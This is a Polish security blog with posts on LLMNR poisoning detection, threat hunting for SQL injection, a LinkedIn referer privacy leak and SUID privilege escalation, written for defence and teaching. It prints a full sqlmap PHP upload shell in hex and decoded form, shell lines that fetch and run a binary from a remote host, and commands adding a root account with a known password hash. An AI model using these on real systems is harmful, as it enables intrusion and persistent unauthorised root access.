czwartek, 14 września 2017

Zatruwanie odpowiedzi LLMNR – Responder, llmnr_response

Często przy atakach typu red teaming wykorzystane jest oprogramowanie takie jak Responder (https://github.com/lgandx/Responder).
Responder is a LLMNR, NBT-NS and MDNS poisoner, with built-in HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server supporting NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP and Basic HTTP authentication.
Oprogramowanie to w skrócie pozwala na wykradzenie hashy haseł w infrastrukturze Windowsowej, a co z kolei jest pierwszym krokiem w atakach przeprowadzanych w lokalnej sieci. Jeśli więc odwiedzimy w Windowsie adres, który nie istnieje, np. http://redteam/ to stacja zaczyna wysyłać zapytania m.in. protokołem LLMNR. Możemy to zobaczyć wykorzystując w/w program w trybie analizy (przełącznik "A"):

python Responder.py -I eth0 -Av


Warto więc pochylić się nieco bliżej, aby skutecznie przeprowadzać detekcję takich ataków m.in. przez wchodzenie w interakcję z tego typu narzędziami, jak również po prostu analizując odpowiedzi w celu wykrycia tych zatrutych.

Przy pomocy generatora pakietów Scapy możemy również wysyłać tego typu zapytania, np. protokołem LLMNR:

# python
Python 2.7.9 (default, Jun 29 2016, 13:08:31) 
[GCC 4.9.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from scapy.all import *
>>> send(IP(dst='224.0.0.252')/UDP()/LLMNRQuery(qd=DNSQR(qname='redteam')))
.
Sent 1 packets.
>>> send(IP(dst='224.0.0.252')/UDP()/LLMNRQuery(qd=DNSQR(qname='respproxysrv'))) 
.
Sent 1 packets.

Co naturalnie również będzie widoczne w narzędziu Responder:


Możemy również napisać prosty skrypt generujący w pętli losowe zapytania:


# python llmnr.py 
dpovepea
.
Sent 1 packets.
pzh
.
Sent 1 packets.
qkmhywjwrodscmj
.
Sent 1 packets.
hhdcnlxyiprzrsl
.
Sent 1 packets.
nfuxtretmzju
.
Sent 1 packets.
ooe
.
Sent 1 packets.
r
.
Sent 1 packets.

W ruchu sieciowym w związku z tym zobaczymy:

# tshark -i eth0 -Y "llmnr"
Capturing on 'eth0'
 15 5.259791544  10.13.4.201 → 224.0.0.252  LLMNR 68 Standard query 0x0000 A dpovepea
 28 6.308703537  10.13.4.201 → 224.0.0.252  LLMNR 63 Standard query 0x0000 A pzh
 38 7.348717008  10.13.4.201 → 224.0.0.252  LLMNR 75 Standard query 0x0000 A qkmhywjwrodscmj
 49 8.405975946  10.13.4.201 → 224.0.0.252  LLMNR 75 Standard query 0x0000 A hhdcnlxyiprzrsl
 58 9.448567200  10.13.4.201 → 224.0.0.252  LLMNR 72 Standard query 0x0000 A nfuxtretmzju
 73 10.496610351  10.13.4.201 → 224.0.0.252  LLMNR 63 Standard query 0x0000 A ooe
 86 11.540941831  10.13.4.201 → 224.0.0.252  LLMNR 61 Standard query 0x0000 A r
^C7 packets captured

Natomiast w oprogramowaniu Responder:


Oznacza to, że narzędzie poprawnie reaguje na nasz wyżej zaprezentowany skrypt.

Możemy więc przejść do kolejnego etapu, wyłączenia trybu analitycznego, w wyniku czego program zacznie zatruwać odpowiedzi (czyli de facto odpowiadać na zapytania).

# python llmnr.py 
rgno
.
Sent 1 packets.
khzylwpskfv
.
Sent 1 packets.
xlvrvzqe
.
Sent 1 packets.
ea
.
Sent 1 packets.
u
.
Sent 1 packets.
iykqsdywqosv
.
Sent 1 packets.
qx
.
Sent 1 packets.

Uruchamiamy narzędzie bez przełącznika "A":
-A, --analyze, Analyze mode. This option allows you to see NBT-NS, BROWSER, LLMNR requests without responding.
python Responder.py -I eth0 -v


W wyniku czego odpowiedzi zaczynają być zatruwane i co ma swoje potwierdzenie w ruchu sieciowym:

# tshark -i eth0 -Y "llmnr"
Capturing on 'eth0'
 21 14.243637786  10.13.4.201 → 224.0.0.252  LLMNR 64 Standard query 0x0000 A rgno
 22 14.245170118   10.13.4.47 → 10.13.4.201  LLMNR 84 Standard query response 0x0000 A rgno A 10.13.4.47
 23 14.245226115  10.13.4.201 → 10.13.4.47   ICMP 112 Destination unreachable (Port unreachable)
 39 15.292447354  10.13.4.201 → 224.0.0.252  LLMNR 71 Standard query 0x0000 A khzylwpskfv
 42 15.294066154   10.13.4.47 → 10.13.4.201  LLMNR 98 Standard query response 0x0000 A khzylwpskfv A 10.13.4.47
 43 15.294113383  10.13.4.201 → 10.13.4.47   ICMP 126 Destination unreachable (Port unreachable)
 60 16.340394332  10.13.4.201 → 224.0.0.252  LLMNR 68 Standard query 0x0000 A xlvrvzqe
 62 16.342456055   10.13.4.47 → 10.13.4.201  LLMNR 92 Standard query response 0x0000 A xlvrvzqe A 10.13.4.47
 63 16.342490219  10.13.4.201 → 10.13.4.47   ICMP 120 Destination unreachable (Port unreachable)
 78 17.388739399  10.13.4.201 → 224.0.0.252  LLMNR 62 Standard query 0x0000 A ea
 81 17.390490534   10.13.4.47 → 10.13.4.201  LLMNR 80 Standard query response 0x0000 A ea A 10.13.4.47
 82 17.390522646  10.13.4.201 → 10.13.4.47   ICMP 108 Destination unreachable (Port unreachable)
103 18.432417721  10.13.4.201 → 224.0.0.252  LLMNR 61 Standard query 0x0000 A u
109 18.434466875   10.13.4.47 → 10.13.4.201  LLMNR 78 Standard query response 0x0000 A u A 10.13.4.47
110 18.434495522  10.13.4.201 → 10.13.4.47   ICMP 106 Destination unreachable (Port unreachable)
138 19.484478355  10.13.4.201 → 224.0.0.252  LLMNR 72 Standard query 0x0000 A iykqsdywqosv
140 19.486041300   10.13.4.47 → 10.13.4.201  LLMNR 100 Standard query response 0x0000 A iykqsdywqosv A 10.13.4.47
141 19.486081580  10.13.4.201 → 10.13.4.47   ICMP 128 Destination unreachable (Port unreachable)
171 20.532742982  10.13.4.201 → 224.0.0.252  LLMNR 62 Standard query 0x0000 A qx
177 20.535800830   10.13.4.47 → 10.13.4.201  LLMNR 80 Standard query response 0x0000 A qx A 10.13.4.47
178 20.535830152  10.13.4.201 → 10.13.4.47   ICMP 108 Destination unreachable (Port unreachable)
^C21 packets captured

Przy użyciu Scapy możemy również stworzyć prosty skrypt do detekcji tego typu odpowiedzi:


# python llmnr2.py 
rgno. 10.13.4.47
rgno. 10.13.4.47
khzylwpskfv. 10.13.4.47
khzylwpskfv. 10.13.4.47
xlvrvzqe. 10.13.4.47
xlvrvzqe. 10.13.4.47
ea. 10.13.4.47
ea. 10.13.4.47
u. 10.13.4.47
u. 10.13.4.47
iykqsdywqosv. 10.13.4.47
iykqsdywqosv. 10.13.4.47
qx. 10.13.4.47
qx. 10.13.4.47

Celem uzyskania więcej informacji o pakietach wystarczy odkomentować linię:

print pkt.show()

W wyniku czego na wygenerowane zapytanie:

# python llmnr.py 
gijnkqvmyboam
.
Sent 1 packets.

Responder zatruwa odpowiedź:

[*] [LLMNR]  Poisoned answer sent to 10.13.4.201 for name gijnkqvmyboam

Co widać w ruchu sieciowym:

# tshark -i eth0 -Y "llmnr"
Capturing on 'eth0'
  8 3.669225514  10.13.4.201 → 224.0.0.252  LLMNR 73 Standard query 0x0000 A gijnkqvmyboam
 12 3.671033312   10.13.4.47 → 10.13.4.201  LLMNR 102 Standard query response 0x0000 A gijnkqvmyboam A 10.13.4.47
 13 3.671212372  10.13.4.201 → 10.13.4.47   ICMP 130 Destination unreachable (Port unreachable)
^C3 packets captured

Skrypt z użyciem Scapy zwraca nam wszystkie informacje w szczegółach:

###[ Ethernet ]###
  dst       = 01:00:5e:00:00:fc
  src       = 52:54:00:f4:99:46
  type      = 0x800
###[ IP ]###
     version   = 4L
     ihl       = 5L
     tos       = 0x0
     len       = 59
     id        = 1
     flags     = 
     frag      = 0L
     ttl       = 1
     proto     = udp
     chksum    = 0xc9df
     src       = 10.13.4.201
     dst       = 224.0.0.252
     \options   \
###[ UDP ]###
        sport     = hostmon
        dport     = hostmon
        len       = 39
        chksum    = 0x5bed
###[ Link Local Multicast Node Resolution - Query ]###
           id        = 0
           qr        = 0L
           opcode    = QUERY
           c         = 0L
           tc        = 0L
           z         = 0L
           rcode     = ok
           qdcount   = 1
           ancount   = 0
           nscount   = 0
           arcount   = 0
           \qd        \
            |###[ DNS Question Record ]###
            |  qname     = 'gijnkqvmyboam.'
            |  qtype     = A
            |  qclass    = IN
           an        = None
           ns        = None
           ar        = None
None
###[ Ethernet ]###
  dst       = 52:54:00:f4:99:46
  src       = 52:54:00:f5:9b:7e
  type      = 0x800
###[ IP ]###
     version   = 4L
     ihl       = 5L
     tos       = 0x0
     len       = 88
     id        = 9089
     flags     = DF
     frag      = 0L
     ttl       = 64
     proto     = udp
     chksum    = 0xfa02
     src       = 10.13.4.47
     dst       = 10.13.4.201
     \options   \
###[ UDP ]###
        sport     = hostmon
        dport     = hostmon
        len       = 68
        chksum    = 0x968a
###[ Link Local Multicast Node Resolution - Query ]###
           id        = 0
           qr        = 1L
           opcode    = QUERY
           c         = 0L
           tc        = 0L
           z         = 0L
           rcode     = ok
           qdcount   = 1
           ancount   = 1
           nscount   = 0
           arcount   = 0
           \qd        \
            |###[ DNS Question Record ]###
            |  qname     = 'gijnkqvmyboam.'
            |  qtype     = A
            |  qclass    = IN
           \an        \
            |###[ DNS Resource Record ]###
            |  rrname    = 'gijnkqvmyboam.'
            |  type      = A
            |  rclass    = IN
            |  ttl       = 30
            |  rdlen     = 4
            |  rdata     = '10.13.4.47'
           ns        = None
           ar        = None
None
gijnkqvmyboam. 10.13.4.47
###[ Ethernet ]###
  dst       = 52:54:00:f5:9b:7e
  src       = 52:54:00:f4:99:46
  type      = 0x800
###[ IP ]###
     version   = 4L
     ihl       = 5L
     tos       = 0xc0
     len       = 116
     id        = 40930
     flags     = 
     frag      = 0L
     ttl       = 64
     proto     = icmp
     chksum    = 0xbcd5
     src       = 10.13.4.201
     dst       = 10.13.4.47
     \options   \
###[ ICMP ]###
        type      = dest-unreach
        code      = port-unreachable
        chksum    = 0x1a64
        unused    = 0
###[ IP in ICMP ]###
           version   = 4L
           ihl       = 5L
           tos       = 0x0
           len       = 88
           id        = 9089
           flags     = DF
           frag      = 0L
           ttl       = 64
           proto     = udp
           chksum    = 0xfa02
           src       = 10.13.4.47
           dst       = 10.13.4.201
           \options   \
###[ UDP in ICMP ]###
              sport     = hostmon
              dport     = hostmon
              len       = 68
              chksum    = 0x968a
###[ Link Local Multicast Node Resolution - Query ]###
                 id        = 0
                 qr        = 1L
                 opcode    = QUERY
                 c         = 0L
                 tc        = 0L
                 z         = 0L
                 rcode     = ok
                 qdcount   = 1
                 ancount   = 1
                 nscount   = 0
                 arcount   = 0
                 \qd        \
                  |###[ DNS Question Record ]###
                  |  qname     = 'gijnkqvmyboam.'
                  |  qtype     = A
                  |  qclass    = IN
                 \an        \
                  |###[ DNS Resource Record ]###
                  |  rrname    = 'gijnkqvmyboam.'
                  |  type      = A
                  |  rclass    = IN
                  |  ttl       = 30
                  |  rdlen     = 4
                  |  rdata     = '10.13.4.47'
                 ns        = None
                 ar        = None
None
gijnkqvmyboam. 10.13.4.47

Powyższe podejście jest uniwersalne i nie działa tylko na jedno narzędzie, co możemy potwierdzić przy użyciu Metasploit, a dokładniej modułu auxiliary/spoof/llmnr/llmnr_response:

# python llmnr.py 
yhywsxy
.
Sent 1 packets.
kvy
.
Sent 1 packets.
ofb
.
Sent 1 packets.
fyyffjvbelauuew
.
Sent 1 packets.
jqjmjixvyvqd
.
Sent 1 packets.
sb
.
Sent 1 packets.


Tym sposobem udało nam się stworzyć prosty honeypot, który wchodzi w interakcję z narzędziami tego typu. Jak również drugi skrypt, który z kolei pozwala na wykrywanie zatrutych odpowiedzi.

W przypadku kiedy stacja Windows wysyła pakiet LLMNR to narzędzie tego typu odpowiada na zapytanie wskazując swój adres IP jako wyszukiwanego hosta. W wyniku czego nadrzędzie wymusza autoryzacje i tym sposobem skrada m.in. hash hasła. Co więcej Responder stara się wymusić wielokrokową interakcję aby pozyskać jak najwięcej hashy NTLM, a co jednocześnie pozwala na dodatkową detekcję jego działania.

poniedziałek, 7 sierpnia 2017

Aktywne wyszukiwanie zagrożeń na przykładzie ataku SQL injection

Threat hunting to aktywne wyszukiwanie zagrożeń, jest to swojego rodzaju proaktywna informatyka śledcza. Wyszukujemy zagrożenia zanim się wyeskalują, jesteśmy dzięki temu w stanie reagować w trakcie ataku albo niedługo po jego rozpoczęciu, zanim przykładowo dojdzie do wycieku istotnych informacji.

Jak przykładowo może zostać to zrealizowane w przypadku ataku SQL injection (SQLi)? Ostatnio opublikowałem wpis "Eskalacja uprawnień z wykorzystaniem SUID", który jest niejako wprowadzeniem do tego wpisu, dlatego zachęcam do zapoznania się z nim. Na wstępie dodam tylko, że nasze środowisko testowe jest uruchomione na systemie Linux Ubuntu, ma to przede wszystkim znaczenie jeśli chodzi o lokalizację ścieżek itp. W tym przypadku powinny być zgodne z systemem Debian oraz innymi bazującymi na tej dystrybucji.

Jeśli atakujący przeprowadzi następujący atak:
  • Wykorzystanie podatności SQL injection
  • Pobranie na serwer własnego oprogramowania
  • Wykorzystanie go w eksploitacji oraz ostatecznie dodanie nowego użytkownika
...to mamy wystarczająco dużo elementów aby wykryć taki atak na różnych poziomach jego aktywności. W pierwszej kolejności możemy na przykład monitorować logi serwera HTTP pod kątem symptomów ataków, na przykład wyszukując ataki przy pomocy reguł oprogramowania PHP-IDS. Jedną z anomalii mogą być też długie zapytania, szczególnie jeśli zwracają kod 200 (OK):

10.13.1.169 - - [07/Aug/2017:11:22:59 +0100] "GET /sqli/index.php?sqli=1%20LIMIT%200%2C1%20INTO%20OUTFILE%20%27%2Fvar%2Fwww%2Ftmpuwujn.php%27%20LINES%20TERMINATED%20BY%200x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d2f7661722f7777772f3e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a--%20--%20oCxa HTTP/1.1" 200 367 "-" "sqlmap/1.0.8.2#dev (http://sqlmap.org)"

Symptomami ataku SQLi mogą być słowa kluczowe specyficzne dla języka SQL, takie jak:

SELECT, UNION, INSERT, UPDATE, DELETE, REPLACE, TRUNCATE

Warto również skupić się na tych, które są wykorzystywane w wielokrokowych atakach i służących do przeprowadzania operacji na plikach, w logach po ataku przy pomocy sqlmap znajdziemy:

OUTFILE, LOAD_FILE, DUMPFILE

Jeśli więc przeprowadzimy proste doświadczenie i wykonamy zapytanie, które wysyła program sqlmap:

mysql> SELECT * FROM foo WHERE id = 1 LIMIT 0,1 INTO OUTFILE '/var/www/tmpuwujn.php' LINES TERMINATED BY 0x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d2f7661722f7777772f3e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a-- -- oCxa
    -> ;
Query OK, 1 row affected (0.00 sec)

# ls -la /var/www/tmpuwujn.php
-rw-rw-rw- 1 mysql mysql 713 Aug  7 11:59 /var/www/tmpuwujn.php
# cat /var/www/tmpuwujn.php
1 Hello world<?php
if (isset($_REQUEST["upload"])){$dir=$_REQUEST["uploadDir"];if (phpversion()<'4.1.0'){$file=$HTTP_POST_FILES["file"]["name"];@move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"],$dir."/".$file) or die();}else{$file=$_FILES["file"]["name"];@move_uploaded_file($_FILES["file"]["tmp_name"],$dir."/".$file) or die();}@chmod($dir."/".$file,0755);echo "File uploaded";}else {echo "<form action=".$_SERVER["PHP_SELF"]." method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploader</b><br><input name=file type=file><br>to directory: <input type=text name=uploadDir value=/var/www/> <input type=submit name=upload value=upload></form>";}?>

Widzimy, że w ten sposób sqlmap wgrywa na serwer PHP shell i takie pliki mogą być również wykrywane przy pomocy automatycznych skanerów, w tym oprogramowania antywirusowego.

Jeśli w konfiguracji MySQL mamy włączone logowanie (standardowo jest wyłączone):

# grep general /etc/mysql/mysql.conf.d/mysqld.cnf
general_log_file        = /var/log/mysql/mysql.log
general_log             = 1

To zobaczymy te zapytania również w logu /var/log/mysql/mysql.log:

2017-08-07T10:22:59.292863Z    9 Query SELECT * FROM foo WHERE id = 1 LIMIT 0,1 INTO OUTFILE '/var/www/tmpuwujn.php' LINES TERMINATED BY 0x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d2f7661722f7777772f3e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a-- -- oCxa

Widzimy tutaj zgodność czasu i pokrycie z logami Apache (różnica godziny to kwestia strefy czasowej, może to zostać skonfigurowane). Aby ułatwić detekcję możemy wykorzystywać dla każdej aplikacji różnych użytkowników bazy danych, ponieważ powyższe zapytanie będzie poprzedzone połączeniem i wyborem bazy danych, w logach zobaczymy:

2017-08-07T10:22:59.292641Z    9 Connect user@localhost on  using Socket
2017-08-07T10:22:59.292726Z    9 Init DB foo

Symptomów ataków możemy więc szukać w różnych logach, jednak przy statusie 200 w logu serwera HTTP możemy zakładać, że zapytanie na bazie danych zostało wykonane. Anomaliami mogą być również niestandardowe nagłówki HTTP User-Agent takie jak w tym konkretnym przypadku sqlmap/1.0.8.2#dev (http://sqlmap.org), Python-urllib/2.7 oraz Wget/1.17.1 (linux-gnu):

10.13.1.169 - - [07/Aug/2017:11:22:59 +0100] "POST /sqli/tmpulnyy.php HTTP/1.1" 200 193 "-" "Python-urllib/2.7"

Wyszukiwanie możemy opierać także o komendy shell, ścieżki, adresy IP i nazwy hosta w polu zapytania HTTP:

10.13.1.169 - - [07/Aug/2017:11:24:17 +0100] "GET /sqli/tmpbwjqk.php?cmd=wget%20-q%20http%3A%2F%2F10.13.1.103%2Fdownload%2Faz%20-O%20whoami%3B%20chmod%20%2Bx%20whoami HTTP/1.1" 200 178 "-" "sqlmap/1.0.8.2#dev (http://sqlmap.org)"
10.13.1.169 - - [07/Aug/2017:11:24:23 +0100] "GET /sqli/tmpbwjqk.php?cmd=PATH=.%3A%24PATH%3B%20%2Fusr%2Fbin%2Ftest_suid HTTP/1.1" 200 178 "-" "sqlmap/1.0.8.2#dev (http://sqlmap.org)"

Tym sposobem wykryjemy również inne ataki takie jak Remote Code Execution (RCE), Server Side Request Forgery (SSRF), Remote File Inclusion (RFI), Local File Inclusion (LFI) czy Path Traversal itd.

Kolejnym elementem jest pojawienie się nowego pliku, monitorowanie możemy tak na prawdę w tym przypadku rozszerzyć na różne elementy, takie jak pliki utworzone czy modyfikowane przez użytkowników powiązanych z serwerem HTTP oraz bazą danych – w tym przypadku www-data i mysql. Ważnym aspektem jest również monitorowanie katalogów dostępnych przez stronę internetową, czyli przede wszystkim ścieżki występującej w dyrektywie DocumentRoot serwera Apache. W każdym przypadku do takiej detekcji może być wykorzystany inotify, który jest podsystemem jądra powiadamiającym o zdarzeniach w systemie plików. Przykładowo oprogramowanie OSSEC detekcję opiera na rozmiarze pliku, uprawnieniach (rwx), użytkowniku, grupie oraz funkcjach skrótu md5 i sha1 (zastosowanie dwóch mityguje problem potencjalnej kolizji) wyszukując w ten sposób zmiany, weryfikując integralność. Detekcja może być również płytsza i opierać się przykładowo na sprawdzaniu czasu ctime dla systemu plików ext4, np. przy pomocy polecenia find i w ten sposób wykryjemy nowe pliki jak również te, które zostały ostatnio zmienione.

Analogicznie możemy również wykrywać zmiany w plikach takich jak /etc/passwd oraz /etc/shadow aby wykryć zmiany w kontach użytkowników, w tym dodanie nowych kont. Następnie monitorowanie logów takich jak /var/log/auth.log, wliczając w to logowanie się nowych użytkowników na SSH (do tego celu może być wykorzystany /var/log/lastlog).

Jeśli chodzi o kwestie reverse shell czy chociażby pobierania pliku na serwer to możemy wykrywać połączenia zwrotne z użytkownika, z którego uprawnieniami uruchomiona jest aplikacja webowa. W przypadku iptables wykorzystując parametry uid-owner i gid-owner, o czym swoją drogą pisałem już w 2011 roku na moim techblogu (aktualnie już nie istnieje i odnośnik kieruje do archiwum stron internetowych).

Threat hunting jest połączeniem wiedzy z zakresu informatyki śledczej oraz testów penetracyjnych. Więcej informacji znajduje się w mojej książce, poświęconej analizie powłamaniowej:

„Praktyczna analiza powłamaniowa. Aplikacja webowa w środowisku Linux”
Adam Ziaja, Wydawnictwo Naukowe PWN

wtorek, 1 sierpnia 2017

Brak tagu rel=noreferrer w prywatnych wiadomościach Linkedin

Na dzień dzisiejszy istnieje możliwość korelacji odwiedzin na stronie internetowej z konkretnym użytkownikiem, któremu przesyła się odnośnik w wiadomość na stronie LinkedIn.

Przykładowo wysłanie odnośnika https://redteam.pl/konsultanci.html w prywatnej wiadomości znajduje odbicie w logach serwera HTTP:
198.51.100.5 - - [21/Jul/2017:10:25:54 +0200] "GET /konsultanci.html HTTP/1.1" 200 14118 "https://www.linkedin.com/messaging/thread/6294067405647937536/" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36"

Odnośnik https://www.linkedin.com/messaging/thread/6294067405647937536/ kieruje do konkretnej wiadomości (aby zobaczyć trzeba być uczestnikiem rozmowy) i pochodzi on z nagłówka HTTP referer przesłanego w wyniku braku tagu HTML rel=noreferrer.

Nagłówek HTTP referer zawiera adres strony internetowej, z której użytkownik został przekierowany za pomocą odnośnika. Jeśli w kodzie HTML zostałby umieszczony tag rel=noreferrer, to w takim przypadku nagłówek ten nie zostałby ujawniony.

Ujawnienie takich informacji to głównie kwestie prywatności – istnieje możliwość przypisania konkretnych odwiedzin i ruchu na stronie internetowej do konkretnego użytkownika, któremu przesyłamy wiadomość na portalu. Takie działanie może być wykorzystane w marketingu, ale nie tylko. W naszym przypadku istotny jest wątek bezpieczeństwa, ponieważ w ten sposób wysyłając wiadomości do kilku pracowników danej organizacji jesteśmy w stanie przypisać do nich konkretne adresy IP i informacje udostępnione przy pomocy nagłówka User-Agent, a nawet – za pomocą strony, którą odwiedzają – sprawdzić wersje wykorzystywanego oprogramowania.

Nagłówek HTTP User-Agent zawiera informacje o aplikacji klienckiej:
Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36
Przeglądarka Chrome w wersji 59 uruchomiona na systemie operacyjnym Windows 7 (Windows NT 6.1) w wersji 64 bitowej. Natomiast przykładowo dodatki mogą zostać wykryte przy pomocy enumeracji prostym skryptem JavaScript:


Dzięki informacjom o oprogramowaniu można wykorzystać konkretną podatność w nim występującą. Informacje takie jak adres IP z kolei nie tylko są celem do zdalnych ataków ale również wskazówką dzięki której możemy określić czy wszyscy pracownicy, którzy odwiedzili odnośnik, łączą się z jednej sieci. Jeśli w polu User-Agent znaleźlibyśmy informacje o urządzeniu mobilnym to dowiadujemy się, że za danym adresem IP kryje się sieć bezprzewodowa. Sprawdzenie revDNS z kolei może dostarczyć kolejnych istotnych informacji. Warto tutaj również wspomnieć, że cały ten proces może być zautomatyzowany i zintegrowany np. z kampanią phishingową.

Przed publikacją sugestia została zgłoszona do portalu LinkedIn.

niedziela, 30 lipca 2017

Eskalacja uprawnień z wykorzystaniem SUID

W eskalacji uprawnień niejednokrotnie wykorzystywane są podatne aplikacje z atrybutami SUID lub SGID. Często takie aplikacje są pisane przez samych administratorów systemów, a taką przykładową aplikacją może być następujący, bardzo prosty program w języku C:

Program ten, w celach demonstracyjnych, uruchamia polecenie whoami.

Kompilujemy nasz testowy program, a następnie nadajemy atrybut SUID:

root@redteam.pl:~# gcc test_suid.c -o test_suid
root@redteam.pl:~# cp test_suid /usr/bin/
root@redteam.pl:~# chmod u+s /usr/bin/test_suid
root@redteam.pl:~# ls -la /usr/bin/test_suid
-rwsr-xr-x 1 root root 8608 Jul 28 12:02 /usr/bin/test_suid
root@redteam.pl:~# su mysql
mysql@redteam.pl:/root$ /usr/bin/test_suid
root

Program uruchomiony z użytkownika mysql, wykonujący komendę whoami, zwraca root, właśnie z uwagi na nadany mu atrybut SUID.

Podatność w tym przypadku polega na niezastosowaniu ścieżki bezwzględnej (/usr/bin/whoami) do programu whoami. Najprościej taką podatność, szczególnie w niestandardowych aplikacjach, znajdziemy przy pomocy polecenia strings.

Jeśli przykładowo atakujący znalazłby na serwerze podatność SQL Injection, to przy pomocy programu sqlmap uzyskałby dostęp do powłoki, a następnie mógłby wykonać poniższe polecenia celem wykorzystania tej podatności:

os-shell> wget -q https://redteam.pl/download/az -O whoami
os-shell> chmod +x whoami
os-shell> PATH=.:$PATH
os-shell> /usr/bin/test_suid
os-shell> tail -1 /etc/passwd
command standard output: 'az:x:0:0::/root:/bin/bash'

W tym przypadku atak polega na dopisaniu do zmiennej $PATH dodatkowej ścieżki – aktualnego katalogu. W wyniku czego przy próbie uruchomienia programu w pierwszej kolejności będzie on wyszukiwany w aktualnym katalogu, a dopiero później w pozostałych:

$ echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
$ PATH=.:$PATH
$ echo $PATH
.:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

Podatna aplikacja test_suid z atrybutem SUID uruchamia polecenie whoami bez ścieżki bezwzględnej. W wyniku dopisania aktualnego katalogu do $PATH, a następnie pobraniu do tego katalogu własnego programu o nazwie whoami, po uruchomieniu podatnej aplikacji, następuje wykonanie złośliwego programu z uprawieniami użytkownika root.

Takim programem, który posłuży do wykorzystania podatności, może być przykładowo w języku C (nie może być w języku skryptowym – na wszystkich interpretowanych plikach wykonywalnych SUID oraz SGID będą ignorowane):

Następstwem czego będzie dodanie użytkownika az o uprawieniach użytkownika root, przez wykonanie poleceń:

echo 'az:x:0:0::/root:/bin/bash' >> /etc/passwd
echo 'az:$1$qn9q54Bd$5Io7epAfYclG1VwgquNqe0:16514:0:99999:7:::' >> /etc/shadow

Hasło użyte w powyższym programie zostało wygenerowane przy pomocy polecenia:

$ openssl passwd -1 -salt qn9q54Bd adamziaja
$1$qn9q54Bd$5Io7epAfYclG1VwgquNqe0

